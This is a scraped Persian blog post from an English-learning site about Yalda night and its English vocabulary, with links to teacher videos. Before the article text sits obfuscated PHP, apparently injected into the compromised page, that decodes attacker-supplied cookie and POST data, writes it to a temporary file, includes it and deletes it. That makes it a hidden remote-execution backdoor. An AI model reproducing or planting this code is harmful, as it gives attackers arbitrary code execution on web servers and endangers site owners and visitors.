$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} لغات پرکاربرد در شب یلدا به انگلیسی | وبلاگ اتیچر
skip to Main Content

لغات پرکاربرد در شب یلدا به انگلیسی

زمان مطالعه: ۳ دقیقه

این روزها در حالی که مسیحیان سراسر جهان در حال آماده شدن برای جشن کریسمس هستند، ایرانیان خود را برای یکی از مهمترین شب های سال یعنی شب یلدا یا شب چله آماده می‌کنند. در این مقاله علاوه بر آشنایی شما با یلدا، قصد داریم کمی هم با موضوعیت شب یلدا به انگلیسی هم صحبت کنیم.

شب یلدا شبیست که خورشید در هرحرکت سالیانه اش در آخر پاییز به پایین ترین نقطه افق جنوب شرقی می رسد که باعث می شود طول روز کوتاه تر و شب طولانی تر از هر زمانی در سال شود که با شروع زمستان خورشید دوباره به سمت شمال شرقی حرکت می کند. در باورهای مردم باستان این افزایش طول روز به عنوان زمان تولد دوباره خورشید دانسته می شد . هر ساله ایرانیان آمدن زمستان را در آخرین شب پاییز با عنوان مراسم شب یلدا که یکی از جشن های باستانی ایرانیان یه شمار می آید، جشن می‌گیرند که بهانه ای برای دید و بازدید دوستان و آشنایان است.

شب یلدا زمانی است دوستان و خانواده دور هم جمع می شوند و در طولانی شب سال تا پاسی از شب اشعاری از حافظ را می خوانند و از در کنار همدیگر بودن لذت میبرند. نام شب یلدا همواره با خوراکی های مختلفی مانند انار، هندوانه که قرمزی آن ها نمایندگان خورشید در شب هستند، عجین شده است چرا که سفره شب یلدا یک از جذابیت های شب یلدا به شمار می آید.

شب یلدا از جمله آیین های باستانی ایران است که توجه افراد از دیگر کشور ها را نیز به خود جلب کرده است و مراسم شب یلدا در کشور هایی مثل آذربایجان و ترکمنستان مانند ایران هر ساله به عنوان یک مراسم باستانی برگزار می شود. همچنین هم وطنان ساکن خارج از کشور در کشور های بسیاری از جمله آمریکا، انگلیس و کانادا، مراسم شب یلدا را با اشتیاق بیشتری برگزار می کنند چرا که فرصتی است که افراد دیگر کشورها با آیین های باستانی ایران بیشتر آشنا شوند. اگر شما هم موقعیت معرفی شب یلدا به افراد انگلیسی زبان را دارید،  شاید بهتر است بدانید شب یلدا به انگلیسی “Night of forty”  یا “Yalda night”  گفته می شود.

در ویدئو زیر استاد پرستو به معرفی کامل شب یلدا به زبان انگلیسی میپردازد. این ویدئو خوب و کامل را از دست ندهید.

 

فهرست بخش ها

همچنین مظالعه شود:

آیا موسیقی در یادگیری زبان انگلیسی موثر است؟

حافظ خوانی نیز یکی از معروف فعالیت هایی است که در شب یلدا انجام میشود. در ویدئو زیر استاد هاجر کمی به حافظ خوانی میپردازد.

 

 

فیلم آموزشی شب یلدا به انگلیسی از زبان استاد اردلان:

حال که صحبت از عبارت شب یلدا به انگلیسی شد، شاید برای شما سوال شود که اگر کسی شب یلدا به انگلیسی را به شما تبریک گفت شما در جواب او چه پاسخی باید بدهید؟؟!!

استاد اردلان در مورد پاسخ به تبریک شب یلدا به انگلیسی در ویدیوی زیر توضیح می دهد:

اگر میخواهید که به طور حرفه ای در شب یلدا انگلیسی صحبت کنید، اُتیچر مجموعه ای  از اساتید حرفه ای را برایتان فراهم کرده است. 

 

فیلم آموزشی شب یلدا به انگلیسی از زبان استاد پدرام:

شب یلدا در مورد حتی یک دقیقه بیشتر دور هم بودن با کسانی هست که دوسشان داریم که همراه با خوراکی های خاص شب یلداست. خوراکی هایی که در شب یلدا مرسوم هستند بسیار متنوع هستند اما اگر بخواهید به فرد انگلیسی زبان در مورد خوراکی های خوشمزه شب یلدا به انگلیسی توضیح دهید چه باید بگویید؟

پدرام در ویدیوی زیر به بیانی زیبا از شب یلدا می گوید و خوراکی های شب یلدا به انگلیسی را نام می برد:

 

به طور کلی شب یلدا برای ایرانیان از جایگاه خاصی برخوردار است و هر ساله با نزدیک شدن به شب یلدا جنب و جوشی در شهر ها برای خرید خوراکی های یلدا ایجاد می‌شود چرا که غذاها و خوراکی ها نقش ویژه ای در آداب رسوم ایرانیان دارند.

فیلم آموزشی شب یلدا به انگلیسی از زبان استاد سمیه:

 

 

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search